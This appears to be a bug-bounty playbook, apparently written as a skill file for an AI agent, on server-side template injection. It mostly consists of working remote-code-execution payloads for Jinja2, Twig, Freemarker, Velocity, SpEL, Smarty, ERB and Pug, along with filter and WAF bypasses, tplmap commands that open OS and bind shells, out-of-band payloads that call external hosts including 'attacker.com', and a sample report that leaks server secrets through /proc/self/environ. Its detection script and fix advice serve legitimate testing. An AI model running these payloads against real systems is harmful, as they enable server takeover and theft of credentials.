Ssti

Server-Side Template Injection (SSTI)

Reflects {{7*7}} as 49 → likely RCE coming.

When to invoke

Trigger phrases:

• "test SSTI"
• "template injection"
• "Jinja2 RCE"
• "Twig SSTI"
• "Freemarker injection"

SSTI detection table

Send each probe and inspect the rendered output. If math is evaluated, SSTI is likely.

Universal poly-probe (gets evaluated by most engines):

${{<%[%'"}}%\

If the response shows any error / partial render → suspect SSTI.

Step-by-Step Workflow

1. Identify candidate sinks

Inputs likely to flow into templates:

• Personalization fields (greeting "Hello, USER")
• Email subject / body editors
• Notification message customization
• PDF / invoice templates (you set company name → renders)
• Slack/Discord message templates
• Custom domain branding (logo URL, theme color, footer)
• Order confirmation templates
• Error messages that include user input ("Sorry, USER, page not found")
• "Preview" features
• Markdown extensions / custom tags

2. Confirm engine

If {{7*7}} returns 49, narrow further:

# Jinja2 vs Twig (both render {{7*7}} = 49)
# Test Jinja2-specific:
{{7*'7'}}      → Jinja2: '7777777'  | Twig: 49
{{config}}     → Jinja2: <Config {...}> | Twig: error

# Velocity (Java) vs Freemarker
${7*7}                  → both render 49
#set($x=7*7)$x          → Velocity-only
<#assign x=7*7>${x}     → Freemarker-only

3. Engine-specific payloads (escalation to RCE)

Jinja2 (Python — Flask, Django, Ansible)

# Probe object access
{{config}}                                                    # Flask config dump
{{config.items()}}
{{request}}
{{self}}
{{self.__class__}}
{{self.__class__.__mro__}}

# Classic RCE chain (subclasses)
{{''.__class__.__mro__[2].__subclasses__()}}
# Find <class 'subprocess.Popen'> index, e.g. 408:
{{''.__class__.__mro__[2].__subclasses__()[408]('id', shell=True, stdout=-1).communicate()[0]}}

# More portable (works across Python versions)
{{''.__class__.__base__.__subclasses__()}}
{{ ''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['os'].popen('id').read() }}

# Universal RCE (Flask)
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

# Bypass {} blocked (use {% %})
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("id").read()}}{% endif %}{% endfor %}

# Bypass dot blocked (use [])
{{ ''['__class__'] }}
{{ request['__class__'] }}

# Bypass __ blocked (Hex/Unicode)
{{ ''['\x5f\x5fclass\x5f\x5f'] }}
{{ ''|attr('_class__') }}
{{ request|attr("class") }}    # using |attr filter

Twig (PHP — Symfony, Drupal 8+)

# Probe
{{_self}}
{{_self.env}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

# RCE via filter
{{_self.env.setCache("ftp://attacker.com:2121")}}{{_self.env.loadTemplate("backdoor")}}

# Twig 1.x
{{["id"]|filter("system")}}

# Twig 2.x / 3.x (sandboxed)
{{["id"]|map("system")|join}}

Freemarker (Java — old versions)

${"freemarker.template.utility.Execute"?new()("id")}

# Newer versions (sandbox)
<#assign value="freemarker.template.utility.Execute"?new()>${value("id")}

Velocity (Java)

#set($x="")
#set($rt=$x.class.forName("java.lang.Runtime"))
#set($chr=$x.class.forName("java.lang.Character"))
#set($str=$x.class.forName("java.lang.String"))
#set($ex=$rt.getRuntime().exec("id"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

Spring SpEL (Java)

${T(java.lang.Runtime).getRuntime().exec("id")}
${T(java.lang.Runtime).getRuntime().exec(new String[]{"sh","-c","id"})}

# Or via complex chain
${new org.springframework.expression.spel.standard.SpelExpressionParser().parseExpression("T(java.lang.Runtime).getRuntime().exec('id')").getValue()}

Smarty (PHP)

{php}echo `id`;{/php}                  # Smarty 2.x
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php system('id');?>",self::clearConfig())}  # Smarty 3

ERB (Ruby — Rails)

<%= `id` %>
<%= system("id") %>
<%= Kernel.exec("id") %>
<%= IO.popen("id").read %>

Pug (JavaScript)

#{root.process.mainModule.require('child_process').spawnSync('id').stdout}

4. tplmap (automation)

git clone https://github.com/epinna/tplmap
cd tplmap
pip install -r requirements.txt

# Auto-detect + exploit
python tplmap.py -u "https://target.com/page?name=test"

# POST
python tplmap.py -u "https://target.com/page" --data "name=test"

# Get OS shell
python tplmap.py -u "URL" --os-shell

# Bind shell
python tplmap.py -u "URL" --bind-shell 4444

5. Blind SSTI

If no reflection, use OOB or time-based:

# Jinja2 blind via OOB
{{ ''.__class__.__base__.__subclasses__()[X].__init__.__globals__['os'].popen('curl http://your-interactsh.oast.fun/').read() }}

# Time-based
{{''.__class__.__base__.__subclasses__()[X].__init__.__globals__['os'].popen('sleep 5').read()}}

6. Common WAF bypasses

# Jinja2 — {{ blocked
{% for x in [].__class__.__base__.__subclasses__() %}{{ x }}{% endfor %}

# {{ encoded
%7B%7B7*7%7D%7D

# Unicode
{{7*7}}

# Using request.args directly
{{ request.args.q | safe }}    # if q in URL becomes the payload

# Dot/Bracket alternation
{{ ''.__class__.__mro__[1].__subclasses__() }}      # blocked
{{ ''['__class__']['__mro__'][1]['__subclasses__']() }}    # bracket form
{{ ''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1) }}    # filter form

Detection script (multi-engine)

#!/bin/bash
URL="$1"
PARAM="$2"

PROBES=(
    "{{7*7}}"
    "\${7*7}"
    "<%= 7*7 %>"
    "#set(\$x=7*7)\$x"
    "{7*7}"
    "@(7*7)"
    "#{7*7}"
)

for p in "${PROBES[@]}"; do
    encoded=$(echo -n "$p" | jq -sRr @uri)
    response=$(curl -s "${URL}?${PARAM}=${encoded}")
    if echo "$response" | grep -q "49"; then
        echo "[SSTI?] $p worked: $URL"
    fi
done

Output template

## Critical: SSTI (Jinja2) in welcome-email template → RCE

### Summary
The "personalized welcome email" preview feature renders user-supplied input through a Jinja2 template without sandboxing. Authenticated users can achieve arbitrary code execution on the application server.

### Steps to reproduce
1. Log in as any user
2. Navigate to Settings → Email templates → Welcome email
3. Set "greeting" to:

{{ ''.class.mro[1].subclasses()[408].init.globals['os'].popen('id').read() }}

4. Click "Preview"
5. The preview area renders:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

### Verification
- Tested commands: `id`, `whoami`, `cat /etc/hostname`, `cat /proc/self/environ`
- /proc/self/environ leaked env vars including:
  - `DATABASE_URL` (RDS connection string)
  - `STRIPE_SECRET_KEY`
  - `JWT_SIGNING_KEY`

### Impact
- Arbitrary code execution as `www-data` on production hosts
- Lateral movement to RDS, Stripe API (with disclosed keys)
- Persistence possible via cron / web shell

### Suggested fix
1. Switch to a sandbox template engine (Jinja2 SandboxedEnvironment)
2. OR escape user input before template rendering (treat as data, not template)
3. Rotate exposed credentials (Stripe, DB)

Cross-references

• [[xss]] — sometimes SSTI manifests as XSS first
• [[file-upload]] — uploaded files may be rendered as templates
• [[content-discovery]] — finds template-using endpoints
• [[cloud-misconfig]] — RCE on cloud = pivot to cloud takeover

Common pitfalls

1. Confusing client-side template (Handlebars in browser) with server-side. Client-side doesn't pay.
2. Testing {{7*7}} and getting 49 rendered as text doesn't always mean SSTI — could be a different reason for echo. Verify with {{7*'7'}} (string repetition).
3. Sandboxed engines (Twig 2/3, Jinja2 SandboxedEnvironment) look like SSTI but won't RCE. Still worth reporting if data leakage possible.
4. Reporting {{7*7}}=49 without RCE attempt. Some programs accept it as critical, most want RCE proof.
5. Not noting the engine in the report. Triagers struggle without engine name.

Engine fingerprinting cheat

arsenal/ssti-payloads/

Pre-built payload sets per engine — see arsenal/ssti-payloads/:

• jinja2.txt
• twig.txt
• freemarker.txt
• velocity.txt
• spel.txt
• smarty.txt
• erb.txt
• multi-engine-polyglots.txt